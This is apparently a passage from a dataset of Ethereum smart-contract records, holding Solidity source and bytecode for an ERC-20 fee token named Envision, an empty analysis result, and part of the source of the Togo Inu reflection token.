desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the DGMV Token * */ contract Envision is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping (address => bool) private _isExcludedFromFee; mapping(address => mapping(address => uint256)) private _allowances; string constant private _name = "Envision"; string constant private _symbol = "VIS"; uint8 constant private _decimal = 18; uint256 private _totalSupply = 200000000 * (10 ** _decimal); // 200 million tokens uint256 constant public _taxBurn = 2; uint256 constant public _taxLiquidity = 5; address public teamWallet; uint256 public toBurnAmount = 0; event teamWalletChanged(address oldWalletAddress, address newWalletAddress); event feeCollected(address teamWallet, uint256 amount); event excludingAddressFromFee(address account); event includingAddressInFee(address account); modifier onlyTeamWallet() { require(teamWallet == _msgSender(), "Caller is not the teamwallet"); _; } /** * @dev Sets the values for {name}, {symbol}, {total supply} and {decimal}. * Currently teamWallet will be Owner and can be changed later */ constructor(address _teamWallet) { require(_teamWallet!=address(0), "Cannot set teamwallet as zero address"); _balances[_msgSender()] = _totalSupply; _isExcludedFromFee[_msgSender()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamWallet] = true; teamWallet = _teamWallet; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns Name of the token */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the name. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation */ function decimals() external view virtual override returns (uint8) { return _decimal; } /** * @dev This will give the total number of tokens in existence. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. */ function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } /** * @dev Returns collected fees of the token */ function collectedFees() external view returns (uint256) { return _balances[address(this)]; } /** * @dev Transfer token to a specified address and Emits a Transfer event. */ function transfer(address recipient, uint256 amount) external virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Function to check the number of tokens that an owner allowed to a spender */ function allowance(address owner, address spender) external view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Function to allow anyone to spend a token from your account and Emits an Approval event. */ function approve(address spender, uint256 amount) external virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev owner can make exclude the account from paying fee on transfer */ function excludeFromFee(address account) external onlyOwner { require(account!=address(0), "Excluding for the zero address"); _isExcludedFromFee[account] = true; emit excludingAddressFromFee(account); } /** * @dev check if account is excluded from fee */ function isExcludedFromFee(address account) external view returns(bool) { return _isExcludedFromFee[account]; } /** * @dev owner can make the account pay fee on transfer. */ function includeInFee(address account) external onlyOwner { require(account!=address(0), "Including for the zero address"); _isExcludedFromFee[account] = false; emit includingAddressInFee(account); } /** * @dev owner can claim collected fees. */ function collectFees() external onlyOwner { uint256 fees = _balances[address(this)]; _transfer(address(this), teamWallet, _balances[address(this)]); emit feeCollected(teamWallet, fees); } /** * @dev teamWallet can burn collected burn fees. */ function burnCollectedFees() external onlyTeamWallet { require(_balances[teamWallet] >= toBurnAmount, "Does not have the required amount of tokens to burn"); _transfer(teamWallet, address(0), toBurnAmount); _totalSupply -= toBurnAmount; toBurnAmount = 0; emit feeCollected(address(0), toBurnAmount); } /** * @dev owner can update the collection team wallet */ function updateTeamWallet(address _teamWallet) external onlyOwner { require(_teamWallet!=address(0), "Cannot set teamwallet as zero address"); address oldWallet = teamWallet; teamWallet = _teamWallet; _isExcludedFromFee[_teamWallet] = true; _isExcludedFromFee[oldWallet] = false; emit teamWalletChanged(oldWallet,_teamWallet); } /** * @dev Function to transfer allowed token from other's account */ function transferFrom( address sender, address recipient, uint256 amount ) external virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Function to increase the allowance of another account */ function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { require(spender!=address(0), "Increasing allowance for zero address"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Function to decrease the allowance of another account */ function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { require(spender!=address(0), "Decreasing allowance for zero address"); uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } if(_isExcludedFromFee[sender]) { unchecked {//condititon to exclude _balances[recipient] += amount; } }else{ unchecked { uint256 burnFee = (amount * _taxBurn) / 1000; uint256 tFee = (amount * (_taxBurn + _taxLiquidity)) / 1000; amount = amount - tFee; _balances[recipient] += amount; _balances[address(this)] += tFee; toBurnAmount += burnFee; } } emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80637cb332bb116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e1461042c578063ea2f0b371461045c578063f2fde38b14610478578063f9efb5051461049457610173565b8063a9059cbb146103d4578063b3c8591814610404578063c87965721461042257610173565b80637cb332bb14610324578063856e8bad146103405780638da5cb5b1461034a5780639003adfe1461036857806395d89b4114610386578063a457c2d7146103a457610173565b806339509351116101305780633950935114610250578063437823ec146102805780635342acb41461029c57806359927044146102cc57806370a08231146102ea578063715018a61461031a57610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c657806323b872dd146101e4578063313ce5671461021457806337a67ca714610232575b600080fd5b6101806104b2565b60405161018d9190612185565b60405180910390f35b6101b060048036038101906101ab9190611b50565b6104ef565b6040516101bd919061216a565b60405180910390f35b6101ce61050d565b6040516101db9190612367565b60405180910390f35b6101fe60048036038101906101f99190611b01565b610517565b60405161020b919061216a565b60405180910390f35b61021c61060f565b6040516102299190612382565b60405180910390f35b61023a610618565b6040516102479190612367565b60405180910390f35b61026a60048036038101906102659190611b50565b61061d565b604051610277919061216a565b60405180910390f35b61029a60048036038101906102959190611a9c565b610738565b005b6102b660048036038101906102b19190611a9c565b6108b6565b6040516102c3919061216a565b60405180910390f35b6102d461090c565b6040516102e191906120fd565b60405180910390f35b61030460048036038101906102ff9190611a9c565b610932565b6040516103119190612367565b60405180910390f35b61032261097b565b005b61033e60048036038101906103399190611a9c565b610a03565b005b610348610c44565b005b610352610e12565b60405161035f91906120fd565b60405180910390f35b610370610e3b565b60405161037d9190612367565b60405180910390f35b61038e610e82565b60405161039b9190612185565b60405180910390f35b6103be60048036038101906103b99190611b50565b610ebf565b6040516103cb919061216a565b60405180910390f35b6103ee60048036038101906103e99190611b50565b61101a565b6040516103fb919061216a565b60405180910390f35b61040c611038565b6040516104199190612367565b60405180910390f35b61042a61103d565b005b61044660048036038101906104419190611ac5565b6111c7565b6040516104539190612367565b60405180910390f35b61047660048036038101906104719190611a9c565b61124e565b005b610492600480360381019061048d9190611a9c565b6113cc565b005b61049c6114c4565b6040516104a99190612367565b60405180910390f35b60606040518060400160405280600881526020017f456e766973696f6e000000000000000000000000000000000000000000000000815250905090565b60006105036104fc6114ca565b84846114d2565b6001905092915050565b6000600454905090565b600061052484848461169d565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061056f6114ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e690612247565b60405180910390fd5b610603856105fb6114ca565b8584036114d2565b60019150509392505050565b60006012905090565b600581565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561068e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068590612307565b60405180910390fd5b61072e6106996114ca565b8484600360006106a76114ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461072991906123b9565b6114d2565b6001905092915050565b6107406114ca565b73ffffffffffffffffffffffffffffffffffffffff1661075e610e12565b73ffffffffffffffffffffffffffffffffffffffff16146107b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ab90612267565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b906122c7565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f846730387031eb38d037020e318a00ecd9b790625c4764c8c74caffda5efe12e816040516108ab91906120fd565b60405180910390a150565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109836114ca565b73ffffffffffffffffffffffffffffffffffffffff166109a1610e12565b73ffffffffffffffffffffffffffffffffffffffff16146109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee90612267565b60405180910390fd5b610a0160006119ae565b565b610a0b6114ca565b73ffffffffffffffffffffffffffffffffffffffff16610a29610e12565b73ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7690612267565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690612227565b60405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fb2bfb416cf413294a87930f9bac388d81bdd29b7aabfac207310d6988daace158183604051610c38929190612118565b60405180910390a15050565b610c4c6114ca565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd2906121a7565b60405180910390fd5b60065460016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d78906122a7565b60405180910390fd5b610db1600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600060065461169d565b60065460046000828254610dc5919061240f565b9250508190555060006006819055507fc5a2b7ad6439179b1edea47d8a4bc00b2c5270a1c741c00fab7be4012caa7d0a6000600654604051610e08929190612141565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60606040518060400160405280600381526020017f5649530000000000000000000000000000000000000000000000000000000000815250905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2790612327565b60405180910390fd5b600060036000610f3e6114ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff290612347565b60405180910390fd5b61100f6110066114ca565b858584036114d2565b600191505092915050565b600061102e6110276114ca565b848461169d565b6001905092915050565b600281565b6110456114ca565b73ffffffffffffffffffffffffffffffffffffffff16611063610e12565b73ffffffffffffffffffffffffffffffffffffffff16146110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b090612267565b60405180910390fd5b6000600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061116930600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169d565b7fc5a2b7ad6439179b1edea47d8a4bc00b2c5270a1c741c00fab7be4012caa7d0a600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516111bc929190612141565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112566114ca565b73ffffffffffffffffffffffffffffffffffffffff16611274610e12565b73ffffffffffffffffffffffffffffffffffffffff16146112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c190612267565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561133a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133190612287565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f3adeb961032d23873014c008c6b64c18b61201f11a10a1a65dfc350259da6dbd816040516113c191906120fd565b60405180910390a150565b6113d46114ca565b73ffffffffffffffffffffffffffffffffffffffff166113f2610e12565b73ffffffffffffffffffffffffffffffffffffffff1614611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f90612267565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af906121c7565b60405180910390fd5b6114c1816119ae565b50565b60065481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611542576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611539906122e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a9906121e7565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116909190612367565b60405180910390a3505050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171b90612207565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561180e5781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550611943565b60006103e8600284028161184b577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b04905060006103e8600560020185028161188e577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b049050808403935083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508160066000828254019250508190555050505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119a09190612367565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050611a818161250b565b92915050565b600081359050611a9681612522565b92915050565b600060208284031215611aae57600080fd5b6000611abc84828501611a72565b91505092915050565b60008060408385031215611ad857600080fd5b6000611ae685828601611a72565b9250506020611af785828601611a72565b9150509250929050565b600080600060608486031215611b1657600080fd5b6000611b2486828701611a72565b9350506020611b3586828701611a72565b9250506040611b4686828701611a87565b9150509250925092565b60008060408385031215611b6357600080fd5b6000611b7185828601611a72565b9250506020611b8285828601611a87565b9150509250929050565b611b9581612443565b82525050565b611ba481612455565b82525050565b6000611bb58261239d565b611bbf81856123a8565b9350611bcf818560208601612498565b611bd8816124fa565b840191505092915050565b6000611bf0601c836123a8565b91507f43616c6c6572206973206e6f7420746865207465616d77616c6c6574000000006000830152602082019050919050565b6000611c306026836123a8565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c966022836123a8565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611cfc6026836123a8565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611d626025836123a8565b91507f43616e6e6f7420736574207465616d77616c6c6574206173207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611dc86028836123a8565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e2e6020836123a8565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611e6e601e836123a8565b91507f496e636c7564696e6720666f7220746865207a65726f206164647265737300006000830152602082019050919050565b6000611eae6033836123a8565b91507f446f6573206e6f7420686176652074686520726571756972656420616d6f756e60008301527f74206f6620746f6b656e7320746f206275726e000000000000000000000000006020830152604082019050919050565b6000611f14601e836123a8565b91507f4578636c7564696e6720666f7220746865207a65726f206164647265737300006000830152602082019050919050565b6000611f546024836123a8565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611fba6025836123a8565b91507f496e6372656173696e6720616c6c6f77616e636520666f72207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120206025836123a8565b91507f44656372656173696e6720616c6c6f77616e636520666f72207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120866025836123a8565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6120e881612481565b82525050565b6120f78161248b565b82525050565b60006020820190506121126000830184611b8c565b92915050565b600060408201905061212d6000830185611b8c565b61213a6020830184611b8c565b9392505050565b60006040820190506121566000830185611b8c565b61216360208301846120df565b9392505050565b600060208201905061217f6000830184611b9b565b92915050565b6000602082019050818103600083015261219f8184611baa565b905092915050565b600060208201905081810360008301526121c081611be3565b9050919050565b600060208201905081810360008301526121e081611c23565b9050919050565b6000602082019050818103600083015261220081611c89565b9050919050565b6000602082019050818103600083015261222081611cef565b9050919050565b6000602082019050818103600083015261224081611d55565b9050919050565b6000602082019050818103600083015261226081611dbb565b9050919050565b6000602082019050818103600083015261228081611e21565b9050919050565b600060208201905081810360008301526122a081611e61565b9050919050565b600060208201905081810360008301526122c081611ea1565b9050919050565b600060208201905081810360008301526122e081611f07565b9050919050565b6000602082019050818103600083015261230081611f47565b9050919050565b6000602082019050818103600083015261232081611fad565b9050919050565b6000602082019050818103600083015261234081612013565b9050919050565b6000602082019050818103600083015261236081612079565b9050919050565b600060208201905061237c60008301846120df565b92915050565b600060208201905061239760008301846120ee565b92915050565b600081519050919050565b600082825260208201905092915050565b60006123c482612481565b91506123cf83612481565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612404576124036124cb565b5b828201905092915050565b600061241a82612481565b915061242583612481565b925082821015612438576124376124cb565b5b828203905092915050565b600061244e82612461565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156124b657808201518184015260208101905061249b565b838111156124c5576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b61251481612443565b811461251f57600080fd5b50565b61252b81612481565b811461253657600080fd5b5056fea264697066735822122099b56fa35c5b83656fe510619e0691b70676ccc19d635478d654169b9f1522a564736f6c63430008000033
{"success": true, "error": null, "results": {}}
10,003
0xb3655bf29045590441519b957f07aa7b0dfe89ec
/** *Submitted for verification at Etherscan.io on 2021-05-18 */ /** *Submitted for verification at Etherscan.io on 2021-05-17 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Togoinu is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Togo Inu'; string private _symbol = 'TOGO'; uint8 private _decimals = 9; constructor () { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rTotal = _rTotal - rAmount; _tFeeTotal = _tFeeTotal + tAmount; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return (rAmount / currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 